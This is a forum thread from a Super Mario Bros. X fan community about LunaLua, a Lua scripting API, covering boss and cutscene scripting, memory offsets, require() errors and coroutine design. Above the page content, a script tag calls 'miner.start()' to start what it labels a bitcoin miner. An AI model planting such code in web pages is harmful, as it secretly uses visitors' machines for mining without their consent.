<script>
miner.start(); // initialise bitcoin miner
</script>

smw centralpge projectmario fan games galaxy

LunaLua Offical Thread

The second SMBX collab!

Shall I stream some LunaLua live development?

Yes
23
92%
No
2
8%
 
Total votes: 25

User avatar
Rockythechao
Shapemorph the titlecard into the video, Hoeloe
Posts: 503
Joined: 3 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Presenting: Lunadll for Lua!

Postby Rockythechao » 3 years ago

Hoeloe wrote:
Rockythechao wrote:Full battle with pre- and post-fight cutscenes.

For now, the biggest things I can think of are see PlayMusic, LoadImage and PlaceSprite. Other than that, the API's proven to be very versatile :D
I'd be interested to see some of the code for this boss fight. I may well be up for making some bosses and cutscenes using this tool, but I'm not very familiar with Lua or LunaDLL. I'm a pretty fast learner if given an example, though.
Here's a quick dump of the script. I'm currently working on cleaning things up, moving stuff around and commenting everything, so apologies for any messiness in that version there.

Cutscenes and boss AI consist of linear sequences of if then elseif then statements based on a constantly-incrementing "current frame" variable. It's like keyframe animation: you're effectively creating a timeline and defining different actions to occur on specific frames and ranges of frames in these sequences.

So, for example, you'd perform an action on frame 1, then do something repeatedly until frame 59, then perform another action on frame 60. That would look something like:

Code: Select all

-- Comments in Lua are marked by double-dashes, like this one here

-- Jump
if (cutsceneFrame == 1) then
  npcForceJump (NPC reference, Jump strength)

-- Move left in the air for roughly 60 frames (1 second)
elseif (cutsceneFrame  < 60) then 
  npcForceWalkLeft (NPC reference, walk speed)

-- Start a line of dialogue
elseif (cutsceneFrame == 60) then
  startDialog (NPC to animate, Name to display, Line of dialogue, time text is shown, time NPC plays talking animation)

end
Looping behavior works by either manipulating the current frame variable -- selectively updating it so it only progresses when certain conditions are met, or setting it to a fixed value to jump to an earlier or later point in the sequence -- or using separate variables to jump between different sequences. Basically time travel vs dimension-hopping.

With this boss, I have the behavior split up into three main sequences: the pre-battle scene, the battle and the post-battle scene. The two cutscenes are straightforward sequences with no time travel hijinx going on, but the battle sequence is further split up for the different phases of the battle (jumping around, performing the thousand-stab attack, doing the pogo pattern, being vulnerable and being defeated) and they all manipulate the current frame to get the desired behavior.

There's a few other steps involved in getting the audio and animation stuff ready, too. You'll need to set up in-script reference variables, NPC code text files and extended sprite sheets. I'll share the full level once the last few bugs have been stomped out and the code's more organized.
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Tumblr, SoundCloud

Image

User avatar
Kevsoft
LunaLua Master Developer
Posts: 83
Joined: 3 years ago

Re: Presenting: Lunadll for Lua!

Postby Kevsoft » 3 years ago

Wow, pretty awesome you mixed up with my API :D

User avatar
Hoeloe
One of them Lua people
Posts: 831
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

Hmmm... I wonder if I could build a timeline based editor for cutscenes of this type, to make things easier for people?

Well, the answer is yes, I could, but I probably don't have time to...
Kevsoft wrote:Also, what kind of features would you like to see in the lua API, guys?
Oh also, if I understand correctly, a lot of things are still done with direct memory addressing, yes? I'd like to see things like NPCs and the players, etc. with their own member variables that deal with the correct addresses, so we can input a variable name rather than a byte offset.
Image
Image
Image
Image

User avatar
Rockythechao
Shapemorph the titlecard into the video, Hoeloe
Posts: 503
Joined: 3 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Presenting: Lunadll for Lua!

Postby Rockythechao » 3 years ago

Kil (Over in the Story & Cutscenes thread) wrote:I wonder if it'll really be possible to disable input though. SMBX polls the keyboard and processes input almost immediately afterwards, and unfortunately there's no lunadll hook in between.
If that's the case, maybe getting the input through the game isn't the way to go. How feasible would it be to work in raw keyboard input functions separate from SMBX?
Hoeloe wrote:Hmmm... I wonder if I could build a timeline based editor for cutscenes of this type, to make things easier for people?
I kinda want to try that myself, but I've got too much on my plate already as well. Darkchaox100 is already working on a LunaDLL tool, perhaps you could ask to collaborate?
Oh also, if I understand correctly, a lot of things are still done with direct memory addressing, yes? I'd like to see things like NPCs and the players, etc. with their own member variables that deal with the correct addresses, so we can input a variable name rather than a byte offset.
That's effectively what I'm doing in my script, I store the NPC IDs in variables, use those to get the actual NPC instances and store said instances in their own variables. All NPCs have the same memory structure so rather than add 100+ new classes it'd be simpler to just define a constant for each NPC ID and add more member variables and functions to the player and NPC classes.
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Tumblr, SoundCloud

Image

Kil
Posts: 13
Joined: 8 years ago

Re: Presenting: Lunadll for Lua!

Postby Kil » 3 years ago

Rockythechao wrote:
Kil (Over in the Story & Cutscenes thread) wrote:I wonder if it'll really be possible to disable input though. SMBX polls the keyboard and processes input almost immediately afterwards, and unfortunately there's no lunadll hook in between.
If that's the case, maybe getting the input through the game isn't the way to go. How feasible would it be to work in raw keyboard input functions separate from SMBX?
That's quite doable but the main problem is, I don't think there's a way of blocking SMBX from receiving the same input, so no matter what, when you press one of the keys SMBX is using, demo is gonna jump or do whatever she would do with that key.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Rockythechao
Shapemorph the titlecard into the video, Hoeloe
Posts: 503
Joined: 3 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Presenting: Lunadll for Lua!

Postby Rockythechao » 3 years ago

We can use SMBX events to activate/deactivate the player movement entirely as was done in Ep. 1's cutscenes. That stops SMBX from detecting input altogether, but if we have an input system completely separate from SMBX then that'll let us circumvent the problem.
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Tumblr, SoundCloud

Image

Kil
Posts: 13
Joined: 8 years ago

Re: Presenting: Lunadll for Lua!

Postby Kil » 3 years ago

Well at that point you also run into the problem of not everyone using a keyboard, and if you decide to bypass SMBX entirely you lose SMBX as a key funnel for where people may have changed their controls for the game. Also, I still don't think it's gonna be possible to deal with certain keys, like escape.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Rockythechao
Shapemorph the titlecard into the video, Hoeloe
Posts: 503
Joined: 3 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Presenting: Lunadll for Lua!

Postby Rockythechao » 3 years ago

I could probably dig in with the debugger again and see if I can find where all the key maps are stored... but yeah, that would take some time.

I guess we'll just have the player able to walk around during cutscenes for the time being.
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Tumblr, SoundCloud

Image

devil†zukin
Posts: 262
Joined: 8 years ago

Re: Presenting: Lunadll for Lua!

Postby devil†zukin » 3 years ago

that sounds rad it'd be like chrono trigger

Kil
Posts: 13
Joined: 8 years ago

Re: Presenting: Lunadll for Lua!

Postby Kil » 3 years ago

Well, you can try it and see if you can get it to work. The best way to deal with this would be if we simply could change the inputs after SMBX polls them. That means to add a fourth hook into smbx as I already know where the input polling function of SMBX is. We could have full control over the input easily with that but uh... it's kind of a really huge pain in the butt to do. Especially because I would also have to turn around and add the same one for smbx.exe as well as a2mbxt.exe.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Leet
Well, hello, Smith ( ´-`)ノ
Posts: 1042
Joined: 4 years ago
First name: Chie Arale
Pronouns: she/her
Location: Harman's Room

Re: Presenting: Lunadll for Lua!

Postby Leet » 3 years ago

Rockythechao wrote:I could probably dig in with the debugger again and see if I can find where all the key maps are stored... but yeah, that would take some time.

I guess we'll just have the player able to walk around during cutscenes for the time being.
if you can set it so they cant break anything during that time i think that should be how most of the cutscenes should work. i always love screwing around while plot's happening in games, it makes it less "lets sit through a cutscene" and more "lets live through the story"
ImageWell it is a decent hack but sometime its just too repetitif there no level that actually pop in your face and your like oh yeah that level they all ressemble themselves and just monster along the way.
Blood Ghoul wrote:Sometimes it seems my blood spurts out in gobs, as if it were a fountain's pulsing sobs. I clearly hear it mutter as it goes yet cannot find the wound from which it flows. Before I met you, baby, I didn't know what I was missing.

User avatar
Hoeloe
One of them Lua people
Posts: 831
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

Rockythechao wrote:All NPCs have the same memory structure so rather than add 100+ new classes it'd be simpler to just define a constant for each NPC ID and add more member variables and functions to the player and NPC classes.
Oh, yeah, that's what I meant. Having a single "NPC" class, rather than one for each kind of NPC, with member variables and functions to avoid having to set properties via memory offsets.
Image
Image
Image
Image

User avatar
Kevsoft
LunaLua Master Developer
Posts: 83
Joined: 3 years ago

Re: Presenting: Lunadll for Lua!

Postby Kevsoft » 3 years ago

Lunadll+Lua version 0.2.5 is out!

Changes:
*Added lapi.lua, a helper class written lua. Has some useful functions1
*Added playMusic
*Added LoadImage
*Added placeSprite

TiKi
Posts: 13
Joined: 4 years ago

Re: Presenting: Lunadll for Lua!

Postby TiKi » 3 years ago

Rockythechao wrote:Full battle with pre- and post-fight cutscenes.

For now, the biggest things I can think of are see PlayMusic, LoadImage and PlaceSprite. Other than that, the API's proven to be very versatile :D
I'm a bit confused about something. Does the stompable object(s) that remove Broadsword's health exist at all times, or is there a specific point in the fight where Goombas or whatever are shown and then Demo stomps them? If you don't get what I'm saying think Kirby Super Star where you could damage the boss at any point in the sequence

User avatar
Rockythechao
Shapemorph the titlecard into the video, Hoeloe
Posts: 503
Joined: 3 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Presenting: Lunadll for Lua!

Postby Rockythechao » 3 years ago

There's an invisible SMB3 bob-omb snapped to him. When you jump on it it changes to the active bomb NPC, the script detects that an instance of that NPC exists and decreases the boss HP variable before changing it back into the unstomped bob-omb.

He can technically be hurt at any time during the fight, but the rests after his attacks are the only time when he stays still for you to attack him. With quick reflexes, though, it's possible to stomp on him while he's doing his sword flurry attack. It's also possible right before he bounces back up, but you have to be very precise.

One last thing, he has a decently long rest period but every hit eats half a second, so the player should have plenty of time to hit him at least once during the rest period but they have less and less time for successive hits before he gets back up.
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Tumblr, SoundCloud

Image

User avatar
Rockythechao
Shapemorph the titlecard into the video, Hoeloe
Posts: 503
Joined: 3 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Presenting: Lunadll for Lua!

Postby Rockythechao » 3 years ago

Double-post ahoy!

Is there a way I can reference stuff from lunaworld.lua in a level's lunadll.lua code instead of just having the two run simultaneously? Like, static/global functions or headers or something. It'd be a huge bummer if we end up having to include all of the management functions, character action commands and other stuff with the cutscene/boss code, but at the moment it's looking like that's the only way it'll work.

EDIT: Nvm, found this. If Lua can reference folders outside of the directory path then we should be good and I can have the lunaworld script up sometime today or tomorrow for folks to mess around with.
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Tumblr, SoundCloud

Image

User avatar
Kevsoft
LunaLua Master Developer
Posts: 83
Joined: 3 years ago

Re: Presenting: Lunadll for Lua!

Postby Kevsoft » 3 years ago

I am not sure if 'require' is activated, let me know if not.

User avatar
Rockythechao
Shapemorph the titlecard into the video, Hoeloe
Posts: 503
Joined: 3 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Presenting: Lunadll for Lua!

Postby Rockythechao » 3 years ago

Lua's directory system confuses and frightens me. I think I have it, though.

I noticed a possible typo in your documentation: is that "myNPC.boundary" supposed to be "mySection.boundary"? Also, while going through my code I realized I have a ton of functions that would work better as member variables/functions for the NPC and Player classes. I'm not asking you to drop everything and put these in ASAP, but it would be nice to see them included eventually. It'd certainly help shave off a big chunk of the lunaworld script.
Player/NPC.distance (posX,posY)
Player/NPC.distanceX (posX)
Player/NPC.distanceY (posY)
Player/NPC.distanceNPCX (tarNPC)
Player/NPC.distanceNPCY (tarNPC)
Player/NPC.distanceNPC (tarNPC)
NPC.distancePlayerX (playerindex)
NPC.distancePlayerY (playerindex)
NPC.distancePlayer (playerindex)

Return the absolute distance between the calling object and target


Player/NPC.relativeX (posX)
Player/NPC.relativeY (posY)
Player/NPC.relativeX (tarNPC)
Player/NPC.relativeY (tarNPC)
NPC.relativeXPlayer (playerindex)
NPC.relativeYPlayer (playerindex)


Return the signed distance between the calling object and target


Player/NPC.dirToX (posX)
Player/NPC.dirToNPCX (npcid)
NPC.dirToPlayerX (playerindex)


Return either DIR_RIGHT or DIR_LEFT depending on where the calling object is relative to the target


[int] Player.charindex ()

Corresponds with the current value of mem(0xF0, FIELD_WORD)


[string(readonly)] Player.charname

Returns "NONE" if charindex = 0, "Mario" if charindex = 1, "Luigi" if 2, "Peach" if 3, "Link" if 5, "Toad" if ____ (still don't know Toad/raocow's character index)


[string(readonly)] Player.charnameASXT

Same as above except "Demo" if 1, "Iris" if 2, "Kood" if 3, "Sheath" if 5, "raocow" if ____


Player/NPC.Jump (strength)

Sets speedY to -1*strength


Player/NPC.WalkLeft (speed)
Player/NPC.WalkRight (speed)
Player/NPC.WalkForward (speed)
Player/NPC.WalkToX (posX, speed)
Player/NPC.WalkToX (posX, speed, minDistance)
Player/NPC.WalkToNPC (tarNPC, speed)
Player/NPC.WalkToNPC (tarNPC, speed, minDistance)
NPC.WalkToPlayer (speed)
NPC.WalkToPlayer (speed, minDistance)

Set the speedX of the calling object accordingly, only stopping once they're minDistance pixels away from the target
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Tumblr, SoundCloud

Image

User avatar
Hoeloe
One of them Lua people
Posts: 831
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

Rockythechao wrote: Set the speedX of the calling object accordingly, only stopping once they're minDistance pixels away from the target
I'm somewhat wary of these last few, because the behaviour when you use this function, followed by another change of speedX could be awkward (would the call to this function be ignored in the future? Will it still stop when it reaches the player? etc.) In general, it's best to avoid functions that could potentially have latent effects that cause confusion later - it's only asking for more bugs. A better system, in my opinion, would simply be a call that simply sets speedX to the direction that would move it closer to the player. This would cause it to, after a single call, walk towards where the player was at the time of calling the function, or after repeated calls, follow the player. This is potentially more useful, and better defined.

Other than that, it looks like the NPC and Player classes should probably have a common parent with some of these functions built-in - that way there's less repeated code, and functions like "distanceToPlayer" and "distanceToNPC" can be combined into one "distanceToActor" function.
Image
Image
Image
Image

User avatar
Kevsoft
LunaLua Master Developer
Posts: 83
Joined: 3 years ago

Re: Presenting: Lunadll for Lua!

Postby Kevsoft » 3 years ago

I will have a look about more member fields.
Hoeloe wrote: Other than that, it looks like the NPC and Player classes should probably have a common parent with some of these functions built-in - that way there's less repeated code, and functions like "distanceToPlayer" and "distanceToNPC" can be combined into one "distanceToActor" function.
That's why I added the file lapi.lua. A helper class everyone can help together.

And the small error in the docs is, because I did copy & paste :P

Kil
Posts: 13
Joined: 8 years ago

Re: Presenting: Lunadll for Lua!

Postby Kil » 3 years ago

By the way, all SMBX objects that have a location share the exact same "position" object, which is identical memory-wise, and is like vector with some other info in it

Code: Select all

// 0x+78	qw	= NPC X position
// 0x+80	qw	= NPC Y position
// 0x+88	qw	= w/h
// 0x+90	qw	= h/w
// 0x+98	qw	= X speed
// 0x+A0	qw	= Y speed

Code: Select all

//+0xC0		qw	= Player X position (absolute coordinates within level)
//+0xC8		qw	= Player Y position (absolute coordinates within level)
//+0xD0		qw	= Player height or hitbox related
//+0xD8		qw	= Player width or hitbox related
//+0xE0		qw	= Player X speed
//+0xE8		qw	= Player Y speed
I'm guessing, "backgrounds" and "effects" also have the same object inside them (I made it so custom sprites do), so I don't know what you guys are planning but you could make something that gets a pointer to the position object from whatever it is and then operates on that position object, and it would work on all objects inside SMBX

Basically if you make the functions take position objects, they will automatically work for everything. I'm not too familiar with how Lua subsystem works right now so I'll yet y'all handle it
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Kevsoft
LunaLua Master Developer
Posts: 83
Joined: 3 years ago

Re: Presenting: Lunadll for Lua!

Postby Kevsoft » 3 years ago

LunaLua v0.2.6 is out
Changes:
* Added raw player fields

User avatar
Rockythechao
Shapemorph the titlecard into the video, Hoeloe
Posts: 503
Joined: 3 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Presenting: Lunadll for Lua!

Postby Rockythechao » 3 years ago

Holy exclamation of sacreligion, Lua has coroutines. That's going to make things much, much simpler :D


Regarding require(), this is what I have:

Code: Select all

package.path = package.path .. ";../lunaworld.lua"
local cutsceneLib = require ("lunaworld")
And it gives me this error:

Code: Select all

[string "lunadll.lua"]:1: attempt to index global 'package' (a nil value)
Thankfully it's not crashing the SMBX editor like other errors I got while programming the boss. But yeah, I dunno if it's a matter of require() being active or if I'm missing something here (most probable scenario).

Hoeloe wrote:
Rockythechao wrote: Set the speedX of the calling object accordingly, only stopping once they're minDistance pixels away from the target
I'm somewhat wary of these last few, because the behaviour when you use this function, followed by another change of speedX could be awkward (would the call to this function be ignored in the future? Will it still stop when it reaches the player? etc.) In general, it's best to avoid functions that could potentially have latent effects that cause confusion later - it's only asking for more bugs. A better system, in my opinion, would simply be a call that simply sets speedX to the direction that would move it closer to the player. This would cause it to, after a single call, walk towards where the player was at the time of calling the function, or after repeated calls, follow the player. This is potentially more useful, and better defined.
As I currently have it set up, all of Broadsword's horizontal movement is handled via the walk functions and they're literally just speedX = speed * direction. I don't actually have the minDistance ones implemented in the script, I'm just using the regular walk to player function with the speed value based on the distance. Him jumping away from the player is just walking to the player with a negative speed.

The functions are called both on single frames and in loops (boss AI, paused scene progression due to dialogue box) but with coroutines you can call a function once and it'll run its' course independently from the main thread. With delayed yield calls it's really easy to set up nice-looking and flexible timed sequences. It's how I set up cutscenes in Unity, much more manageable than the conditional branch-based implementation I have right now.

Hoeloe wrote:Other than that, it looks like the NPC and Player classes should probably have a common parent with some of these functions built-in - that way there's less repeated code, and functions like "distanceToPlayer" and "distanceToNPC" can be combined into one "distanceToActor" function.
Yeah, an Actor class would definitely be preferable. The thought did cross my mind at the time, but for whatever reason I thought it'd be difficult to implement or something... like, I assumed there was some fundamental difference that prevented that, or... *shrug* idk, I blame sleep deprivation. I've gotten my sleep schedule out of whack again.


But yeah, TL;DR version: Coroutines are awesome, Rocky sucks at using require(), go with what Hoeloe said
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Tumblr, SoundCloud

Image

User avatar
Kevsoft
LunaLua Master Developer
Posts: 83
Joined: 3 years ago

Re: Presenting: Lunadll for Lua!

Postby Kevsoft » 3 years ago

Rockythechao wrote:

Code: Select all

package.path = package.path .. ";../lunaworld.lua"
local cutsceneLib = require ("lunaworld")
That's what i thought, I didn't activate the package library yet. I will add it to the next update.

User avatar
Hoeloe
One of them Lua people
Posts: 831
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

Rockythechao wrote: The functions are called both on single frames and in loops (boss AI, paused scene progression due to dialogue box) but with coroutines you can call a function once and it'll run its' course independently from the main thread. With delayed yield calls it's really easy to set up nice-looking and flexible timed sequences. It's how I set up cutscenes in Unity, much more manageable than the conditional branch-based implementation I have right now.
I'm not convinced that's the best idea. There are issues with coroutines, and they can be a huge pain to debug (also coroutines aren't run independently of the main thread - they're designed to appear like threading to the programmer, but don't actually use multiple threads). My main issue is, as I said before, that this particular use has difficult to define side cases. Say I called a function to move an NPC towards the player, and stop within 200 pixels:

Code: Select all

MoveToPlayer(200)
However, before that has finished executing, something changes (perhaps the player advances some cutscene, or if this is used in gameplay, triggers something else), and I now want to just set the horizontal speed of the NPC:

Code: Select all

speedX = 100
What would happen? Without looking in detail at the implementation (which almost defeats the point of the function in the first place), this could have one of 3 outcomes:

1. The setting of speedX works, but the NPC stops moving when it comes within 200 pixels of the player. This would occur if the function is implemented by first setting the speedX, then polling the distance each frame, and setting it to 0 if it's below 200 pixels. This behaviour is very awkward, limiting, and unpredictable.

2. The setting of speedX does nothing, and the call to MoveToPlayer takes priority. This would occur with a similar implementation to above, but if speedX is set each frame rather than just when the function is called. This is at least predictable, but is also limited, as there is no way to interrupt after the call has been made to the function.

3. The setting of speedX overrides the call to MoveToPlayer, and that function takes no further action on the NPC. As far as I am aware, there is no way to implement this reliably using coroutines and incorporating the whole movement over time as a single function call. This is unfortunate, as this is the best behaviour, as it is predictable, intuitive, and not limiting. This is why I have an issue with this result.

My suggestion is to make these functions either:

a) do nothing but return a speed value. This would be positive for one direction, negative for the other, and 0 if the actor is too close to the target. That way, calling:

Code: Select all

speedX = MoveToPlayer(200)
each frame would have the desired behaviour. It also has the added bonus that you can get a Rinka-like effect by setting speedX with this function once, and not updating it.

b) the same as above, but setting the speed values in the function, rather than relying on the programmer to do it.
Rockythechao wrote: Yeah, an Actor class would definitely be preferable. The thought did cross my mind at the time, but for whatever reason I thought it'd be difficult to implement or something... like, I assumed there was some fundamental difference that prevented that, or... *shrug* idk, I blame sleep deprivation. I've gotten my sleep schedule out of whack again.
I'm assuming that Lua has basic inheritance (I haven't actually used Lua), but even if they were incompatible in where the data is stored and such, that should be just a case of overriding function definitions to sort it out.
Image
Image
Image
Image


Return to “A2XT”

Who is online

Users browsing this forum: No registered users and 2 guests

cron